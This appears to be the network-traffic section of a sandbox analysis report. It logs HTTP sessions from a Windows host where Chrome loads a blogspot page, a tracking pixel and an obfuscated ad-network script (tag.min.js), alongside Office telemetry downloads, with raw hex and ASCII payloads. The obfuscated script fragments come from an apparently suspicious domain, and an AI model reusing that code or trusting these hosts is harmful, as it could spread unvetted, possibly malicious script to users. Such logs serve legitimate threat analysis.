2024-10-14 22:39:56 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-14 22:39:56 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 22:39:56 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 32d0e64a-701e-001e-0918-1cf5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241014T223956Z-17db6f7c8cf8rgvlb86c9c00980000000570000000002t0g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-14 22:39:56 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.6	49898	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:56 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-14 22:39:56 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 22:39:56 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: b8f0ecbf-701e-005c-16e0-1abb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241014T223956Z-17db6f7c8cfp6mfve0htepzbps00000006g00000000054mk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-14 22:39:56 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.6	49901	185.199.111.133	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:56 UTC	578	OUT	GET /davatron5000/FitVids.js/master/jquery.fitvids.js HTTP/1.1 Host: raw.githubusercontent.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://sqsq2938.blogspot.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-14 22:39:56 UTC	891	IN	HTTP/1.1 200 OK Connection: close Content-Length: 3350 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "59eaf88cb2cc8ab6a41089faa3b6d9a456ee3bdf4c12586c59286abb51497f42" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 7636:144002:27FF89:2B8F54:670D9DBA Accept-Ranges: bytes Date: Mon, 14 Oct 2024 22:39:56 GMT Via: 1.1 varnish X-Served-By: cache-lga21970-LGA X-Cache: HIT X-Cache-Hits: 1 X-Timer: S1728945597.581816,VS0,VE1 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: d4f892c834e1ae1c3fce538ac1338f350da4e104 Expires: Mon, 14 Oct 2024 22:44:56 GMT Source-Age: 2
2024-10-14 22:39:56 UTC	1378	IN	Data Raw: 2f 2a 6a 73 68 69 6e 74 20 62 72 6f 77 73 65 72 3a 74 72 75 65 20 2a 2f 0a 2f 2a 21 0a 2a 20 46 69 74 56 69 64 73 20 31 2e 31 0a 2a 0a 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 33 2c 20 43 68 72 69 73 20 43 6f 79 69 65 72 20 2d 20 68 74 74 70 3a 2f 2f 63 73 73 2d 74 72 69 63 6b 73 2e 63 6f 6d 20 2b 20 44 61 76 65 20 52 75 70 65 72 74 20 2d 20 68 74 74 70 3a 2f 2f 64 61 76 65 72 75 70 65 72 74 2e 63 6f 6d 0a 2a 20 43 72 65 64 69 74 20 74 6f 20 54 68 69 65 72 72 79 20 4b 6f 62 6c 65 6e 74 7a 20 2d 20 68 74 74 70 3a 2f 2f 77 77 77 2e 61 6c 69 73 74 61 70 61 72 74 2e 63 6f 6d 2f 61 72 74 69 63 6c 65 73 2f 63 72 65 61 74 69 6e 67 2d 69 6e 74 72 69 6e 73 69 63 2d 72 61 74 69 6f 73 2d 66 6f 72 2d 76 69 64 65 6f 2f 0a 2a 20 52 65 6c 65 61 73 65 64 20 75 6e 64 Data Ascii: /jshint browser:true //! FitVids 1.1** Copyright 2013, Chris Coyier - http://css-tricks.com + Dave Rupert - http://daverupert.com* Credit to Thierry Koblentz - http://www.alistapart.com/articles/creating-intrinsic-ratios-for-video/* Released und
2024-10-14 22:39:56 UTC	1378	IN	Data Raw: 73 74 61 72 74 65 72 2e 63 6f 6d 22 5d 5b 73 72 63 2a 3d 22 76 69 64 65 6f 2e 68 74 6d 6c 22 5d 27 2c 0a 20 20 20 20 20 20 20 20 27 6f 62 6a 65 63 74 27 2c 0a 20 20 20 20 20 20 20 20 27 65 6d 62 65 64 27 0a 20 20 20 20 20 20 5d 3b 0a 0a 20 20 20 20 20 20 69 66 20 28 73 65 74 74 69 6e 67 73 2e 63 75 73 74 6f 6d 53 65 6c 65 63 74 6f 72 29 20 7b 0a 20 20 20 20 20 20 20 20 73 65 6c 65 63 74 6f 72 73 2e 70 75 73 68 28 73 65 74 74 69 6e 67 73 2e 63 75 73 74 6f 6d 53 65 6c 65 63 74 6f 72 29 3b 0a 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 76 61 72 20 69 67 6e 6f 72 65 4c 69 73 74 20 3d 20 27 2e 66 69 74 76 69 64 73 69 67 6e 6f 72 65 27 3b 0a 0a 20 20 20 20 20 20 69 66 28 73 65 74 74 69 6e 67 73 2e 69 67 6e 6f 72 65 29 20 7b 0a 20 20 20 20 20 20 20 20 69 67 6e Data Ascii: starter.com"][src*="video.html"]', 'object', 'embed' ]; if (settings.customSelector) { selectors.push(settings.customSelector); } var ignoreList = '.fitvidsignore'; if(settings.ignore) { ign
2024-10-14 22:39:56 UTC	594	IN	Data Raw: 20 20 20 20 20 20 20 61 73 70 65 63 74 52 61 74 69 6f 20 3d 20 68 65 69 67 68 74 20 2f 20 77 69 64 74 68 3b 0a 20 20 20 20 20 20 20 20 69 66 28 21 24 74 68 69 73 2e 61 74 74 72 28 27 6e 61 6d 65 27 29 29 7b 0a 20 20 20 20 20 20 20 20 20 20 76 61 72 20 76 69 64 65 6f 4e 61 6d 65 20 3d 20 27 66 69 74 76 69 64 27 20 2b 20 24 2e 66 6e 2e 66 69 74 56 69 64 73 2e 5f 63 6f 75 6e 74 3b 0a 20 20 20 20 20 20 20 20 20 20 24 74 68 69 73 2e 61 74 74 72 28 27 6e 61 6d 65 27 2c 20 76 69 64 65 6f 4e 61 6d 65 29 3b 0a 20 20 20 20 20 20 20 20 20 20 24 2e 66 6e 2e 66 69 74 56 69 64 73 2e 5f 63 6f 75 6e 74 2b 2b 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 24 74 68 69 73 2e 77 72 61 70 28 27 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 6c 75 69 64 2d 77 69 64 74 68 Data Ascii: aspectRatio = height / width; if(!$this.attr('name')){ var videoName = 'fitvid' + $.fn.fitVids._count; $this.attr('name', videoName); $.fn.fitVids._count++; } $this.wrap('<div class="fluid-width

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.6	49880	139.45.197.244	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:56 UTC	938	OUT	GET /sftouch?userId=0080f52b8e41436deb287525cd342cae&z=8079706&p_rid=010be0c3-d8ef-4b81-8363-d3a6d5db9249&p_src=sf&dovr=true&branchId=0&rb=gvLURGPR381dNCfm4z7DWmYChfRrNhidpJlpK6Hu3FaYvLFUudsW7GlQ47cDaUUZC2xZ6a8UDxSV7yk4exemc7RTefog3vu58lg38UHdk40Gbk5LPmTVJUDoFRWwMMyCRs2kS8Z_0Bz-O-EL9By5pRVCmMYn3I6lF2fPD0Q5uBsfEAuGP0kbp9MWugTaqI88Vfiok-SHDNqC3ESXX3cndXxoLTbbqbiX0B7k3KMu_CNf4D4J1-fd--_UGmqV279IGSxmPqv7wkiIL0kbeWVYAbp1R6hJXCmQLy7KSdzI-e8Kvq990alo-diDMLH7eG6kb5S0HQEgdY_Rzhmz-jYWgf3Mf2xkGqnR&w_img=1 HTTP/1.1 Host: oughoaghushouru.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: OAID=0080f52b8e41436deb287525cd342cae; captcha=player; syncedCookie=true; oaidts=1728945591
2024-10-14 22:39:56 UTC	878	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 14 Oct 2024 22:39:56 GMT Content-Type: image/gif Content-Length: 43 Connection: close X-Trace-Id: d998b1e8e322e4d5b9237fc6ae293b0d Accept-Ch: Sec-CH-UA, Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: Accept, Content-Type, Content-Length, Accept-Encoding, baggage, sentry-trace, favicon Access-Control-Max-Age: 86400 Pragma: no-cache Cache-Control: no-transform, no-store, no-cache, must-revalidate, max-age=0 Expires: Tue, 11 Jan 1994 10:00:00 GMT Timing-Allow-Origin: * Strict-Transport-Security: max-age=1 X-Content-Type-Options: nosniff Timing-Allow-Origin: *
2024-10-14 22:39:56 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.6	49900	139.45.197.242	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:56 UTC	534	OUT	GET /tag.min.js HTTP/1.1 Host: glakraptaidsupi.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://sqsq2938.blogspot.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-14 22:39:56 UTC	970	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 14 Oct 2024 22:39:56 GMT Content-Type: text/javascript; charset=utf-8 Content-Length: 71223 Connection: close X-Trace-Id: 5817b4e39d96843da0b4b9e225cf2a2d Cache-Control: no-transform, no-store, no-cache, must-revalidate, max-age=0 Accept-Ranges: bytes Last-Modified: Mon, 14 Oct 2024 15:31:29 GMT Accept-Ch: Sec-CH-UA, Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: Accept, Content-Type, Content-Length, Accept-Encoding, baggage, sentry-trace, favicon Access-Control-Max-Age: 86400 Pragma: no-cache Expires: Tue, 11 Jan 1994 10:00:00 GMT Timing-Allow-Origin: * Strict-Transport-Security: max-age=1 X-Content-Type-Options: nosniff Timing-Allow-Origin: *
2024-10-14 22:39:56 UTC	15414	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 7a 2c 72 4b 2c 4b 4b 2c 6a 4b 29 7b 28 28 29 3d 3e 7b 76 61 72 20 49 3d 7a 2e 5a 72 28 29 2c 59 6e 3d 7a 2e 45 62 5b 7a 2e 59 62 5d 28 7a 2e 65 29 5b 7a 2e 51 6a 5d 28 29 5b 7a 2e 69 72 5d 28 7a 2e 65 29 3b 74 79 70 65 6f 66 20 72 4b 3c 7a 2e 78 26 26 28 49 5b 7a 2e 76 72 5d 3d 72 4b 2c 74 79 70 65 6f 66 20 72 4b 5b 7a 2e 51 72 5d 3c 7a 2e 78 26 26 28 49 5b 7a 2e 56 6a 5d 3d 72 4b 5b 7a 2e 51 72 5d 29 29 3b 74 79 70 65 6f 66 20 4b 4b 3c 7a 2e 78 26 26 28 49 5b 7a 2e 4f 72 5d 3d 4b 4b 2c 49 5b 7a 2e 77 4b 5d 3d 4b 4b 5b 59 6e 5d 29 3b 74 79 70 65 6f 66 20 6a 4b 3c 7a 2e 78 26 26 28 49 5b 7a 2e 53 72 5d 3d 6a 4b 29 3b 66 75 6e 63 74 69 6f 6e 20 6c 72 28 29 7b 76 61 72 20 74 3d 49 5b 7a 2e 4f 72 5d 3b 74 72 79 7b 49 5b 7a 2e 4a Data Ascii: (function(z,rK,KK,jK){(()=>{var I=z.Zr(),Yn=z.Eb[z.Yb](z.e)[z.Qj]()[z.ir](z.e);typeof rK<z.x&&(I[z.vr]=rK,typeof rK[z.Qr]<z.x&&(I[z.Vj]=rK[z.Qr]));typeof KK<z.x&&(I[z.Or]=KK,I[z.wK]=KK[Yn]);typeof jK<z.x&&(I[z.Sr]=jK);function lr(){var t=I[z.Or];try{I[z.J
2024-10-14 22:39:56 UTC	16384	IN	Data Raw: 7d 63 61 74 63 68 28 6c 29 7b 67 28 7a 2e 63 59 29 7d 72 65 74 75 72 6e 20 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 50 74 28 74 2c 65 2c 72 2c 6e 29 7d 2c 41 6f 29 7d 76 61 72 20 51 72 3d 7a 2e 5a 72 28 7a 2e 6d 72 2c 7a 2e 4c 2c 7a 2e 6f 72 2c 7a 2e 54 72 2c 7a 2e 50 72 2c 7a 2e 76 2c 7a 2e 66 72 2c 7a 2e 78 4b 29 2c 42 6f 3d 7a 2e 54 72 2a 7a 2e 72 4b 2a 7a 2e 47 2c 7a 6f 3d 7a 2e 44 3b 66 75 6e 63 74 69 6f 6e 20 58 72 28 29 7b 76 61 72 20 74 3d 7a 2e 5a 72 28 29 3b 72 65 74 75 72 6e 20 45 72 72 6f 72 5b 7a 2e 57 4d 5d 28 74 2c 58 72 29 2c 74 5b 7a 2e 6f 6a 5d 7d 66 75 6e 63 74 69 6f 6e 20 24 6f 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 7a 2e 54 6a 2c 72 3d 74 5b 7a 2e 52 72 5d 3b 72 3b 29 65 3d 65 2a 7a 2e 63 4d 5e 74 5b 7a 2e Data Ascii: }catch(l){g(z.cY)}return setTimeout(function(){Pt(t,e,r,n)},Ao)}var Qr=z.Zr(z.mr,z.L,z.or,z.Tr,z.Pr,z.v,z.fr,z.xK),Bo=z.Trz.rKz.G,zo=z.D;function Xr(){var t=z.Zr();return Error[z.WM](t,Xr),t[z.oj]}function $o(t){for(var e=z.Tj,r=t[z.Rr];r;)e=e*z.cM^t[z.
2024-10-14 22:39:56 UTC	16384	IN	Data Raw: 7a 2e 6c 7d 2c 58 6f 3d 28 29 3d 3e 28 28 21 69 5b 7a 2e 76 72 5d 5b 7a 2e 67 6b 5d 7c 7c 69 5b 7a 2e 76 72 5d 5b 7a 2e 67 6b 5d 5b 7a 2e 43 6b 5d 28 7a 2e 6c 2c 7a 2e 54 72 29 21 3d 3d 7a 2e 48 45 29 26 26 28 69 5b 7a 2e 76 72 5d 5b 7a 2e 67 6b 5d 3d 7a 2e 48 45 5b 7a 2e 57 4b 5d 28 4d 61 74 68 5b 7a 2e 4e 4d 5d 28 29 5b 7a 2e 58 4d 5d 28 7a 2e 6e 45 29 5b 7a 2e 43 6b 5d 28 7a 2e 54 72 29 29 29 2c 69 5b 7a 2e 76 72 5d 5b 7a 2e 67 6b 5d 29 2c 77 6e 3d 74 3d 3e 7a 2e 65 5b 7a 2e 57 4b 5d 28 74 2c 7a 2e 4f 4b 29 5b 7a 2e 57 4b 5d 28 58 6f 28 29 29 2c 74 65 3d 74 3d 3e 48 74 3f 69 5b 7a 2e 76 72 5d 5b 7a 2e 67 72 5d 5b 77 6e 28 74 29 5d 3a 69 5b 7a 2e 76 72 5d 5b 7a 2e 77 72 5d 5b 74 5d 2c 72 65 3d 28 74 2c 65 29 3d 3e 7b 48 74 3f 69 5b 7a 2e 76 72 5d 5b 7a Data Ascii: z.l},Xo=()=>((!i[z.vr][z.gk]\|\|i[z.vr][z.gk][z.Ck](z.l,z.Tr)!==z.HE)&&(i[z.vr][z.gk]=z.HE[z.WK](Math[z.NM]()[z.XM](z.nE)[z.Ck](z.Tr))),i[z.vr][z.gk]),wn=t=>z.e[z.WK](t,z.OK)[z.WK](Xo()),te=t=>Ht?i[z.vr][z.gr][wn(t)]:i[z.vr][z.wr][t],re=(t,e)=>{Ht?i[z.vr][z
2024-10-14 22:39:56 UTC	16384	IN	Data Raw: 65 29 5b 7a 2e 65 72 5d 28 45 3d 3d 7a 2e 73 3f 76 6f 69 64 20 7a 2e 6c 3a 45 5b 7a 2e 72 6a 5d 29 26 26 28 45 3d 3d 7a 2e 73 3f 76 6f 69 64 20 7a 2e 6c 3a 45 5b 7a 2e 42 6b 5d 5b 7a 2e 51 6b 5d 29 3d 3d 3d 76 6f 69 64 20 7a 2e 6c 2c 6a 2c 70 74 2c 57 65 2c 6f 72 3b 7a 2e 65 21 3d 3d 7a 2e 65 26 26 28 61 72 3d 50 65 28 7a 2e 65 29 29 3b 69 5b 7a 2e 76 72 5d 5b 7a 2e 45 72 5d 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 6f 72 26 26 6f 72 28 74 29 7d 3b 66 75 6e 63 74 69 6f 6e 20 77 69 28 74 2c 65 29 7b 6c 65 74 20 6e 3d 6e 65 77 20 44 61 74 65 28 29 5b 7a 2e 7a 4b 5d 28 29 2c 6f 3d 21 7a 2e 4c 2c 61 3d 7a 2e 6c 2c 73 3d 7a 2e 65 3b 45 26 26 28 73 3d 61 65 28 45 5b 7a 2e 72 6a 5d 29 29 3b 6c 65 74 20 64 3d 63 3d 3e 7b 63 5b 7a 2e 57 6a 5d 26 26 4f 62 6a 65 63 74 Data Ascii: e)[z.er](E==z.s?void z.l:E[z.rj])&&(E==z.s?void z.l:E[z.Bk][z.Qk])===void z.l,j,pt,We,or;z.e!==z.e&&(ar=Pe(z.e));i[z.vr][z.Er]=function(t){or&&or(t)};function wi(t,e){let n=new Date()[z.zK](),o=!z.L,a=z.l,s=z.e;E&&(s=ae(E[z.rj]));let d=c=>{c[z.Wj]&&Object
2024-10-14 22:39:56 UTC	6657	IN	Data Raw: 3a 27 64 71 79 61 68 71 45 6f 64 75 62 66 4d 72 66 71 64 58 61 6d 70 20 27 2c 4c 43 3a 33 36 65 35 2c 4e 43 3a 27 6f 74 71 6f 77 45 71 65 65 75 61 7a 4f 67 65 66 61 79 57 71 6b 27 2c 46 43 3a 27 4e 4d 4f 57 4f 58 4f 57 27 2c 71 43 3a 27 4f 41 58 58 51 4f 46 5f 55 59 42 44 51 45 45 55 41 5a 5f 46 44 55 51 45 27 2c 52 43 3a 27 66 75 79 71 58 61 6d 70 71 70 27 2c 6d 43 3a 27 75 65 42 64 71 72 71 66 6f 74 75 7a 73 27 2c 6f 43 3a 27 75 65 55 79 62 64 71 65 65 75 61 7a 4f 61 78 78 71 6f 66 71 70 27 2c 54 43 3a 27 72 75 64 65 66 42 64 71 72 71 66 6f 74 45 66 6d 64 66 27 2c 50 43 3a 27 72 75 64 65 66 42 64 71 72 71 66 6f 74 50 61 7a 71 27 2c 66 43 3a 27 70 75 65 6d 6e 78 71 70 4e 6b 45 71 64 68 71 64 44 71 6d 65 61 7a 65 27 2c 78 47 3a 27 71 6d 64 78 6b 2d 6f 78 Data Ascii: :'dqyahqEodubfMrfqdXamp ',LC:36e5,NC:'otqowEqeeuazOgefayWqk',FC:'NMOWOXOW',qC:'OAXXQOF_UYBDQEEUAZ_FDUQE',RC:'fuyqXampqp',mC:'ueBdqrqfotuzs',oC:'ueUybdqeeuazOaxxqofqp',TC:'rudefBdqrqfotEfmdf',PC:'rudefBdqrqfotPazq',fC:'puemnxqpNkEqdhqdDqmeaze',xG:'qmdxk-ox

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.6	49904	216.58.206.33	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:57 UTC	556	OUT	HEAD /2024/10/365.html HTTP/1.1 Host: sqsq2938.blogspot.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://sqsq2938.blogspot.com/2024/10/365.html Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-14 22:39:57 UTC	467	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 Expires: Mon, 14 Oct 2024 22:39:57 GMT Date: Mon, 14 Oct 2024 22:39:57 GMT Cache-Control: private, max-age=0 Last-Modified: Mon, 14 Oct 2024 20:30:16 GMT ETag: W/"004e5487ca4f96c022e25c6610be775deffa4be78484c46a9dd79cd7ff82bc4a" X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Content-Length: 0 Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.6	49905	216.58.206.33	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:57 UTC	554	OUT	HEAD /2024/10/78.html HTTP/1.1 Host: sqsq2938.blogspot.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://sqsq2938.blogspot.com/2024/10/78.html Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-14 22:39:57 UTC	467	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 Expires: Mon, 14 Oct 2024 22:39:57 GMT Date: Mon, 14 Oct 2024 22:39:57 GMT Cache-Control: private, max-age=0 Last-Modified: Mon, 14 Oct 2024 20:30:16 GMT ETag: W/"004e5487ca4f96c022e25c6610be775deffa4be78484c46a9dd79cd7ff82bc4a" X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Content-Length: 0 Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.6	49909	185.199.110.133	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:57 UTC	397	OUT	GET /davatron5000/FitVids.js/master/jquery.fitvids.js HTTP/1.1 Host: raw.githubusercontent.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-14 22:39:57 UTC	891	IN	HTTP/1.1 200 OK Connection: close Content-Length: 3350 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "59eaf88cb2cc8ab6a41089faa3b6d9a456ee3bdf4c12586c59286abb51497f42" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 7636:144002:27FF89:2B8F54:670D9DBA Accept-Ranges: bytes Date: Mon, 14 Oct 2024 22:39:57 GMT Via: 1.1 varnish X-Served-By: cache-lga21927-LGA X-Cache: HIT X-Cache-Hits: 1 X-Timer: S1728945597.320583,VS0,VE1 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: a98c8d04a6ba9efa4c38784be366e6f01e18d298 Expires: Mon, 14 Oct 2024 22:44:57 GMT Source-Age: 3
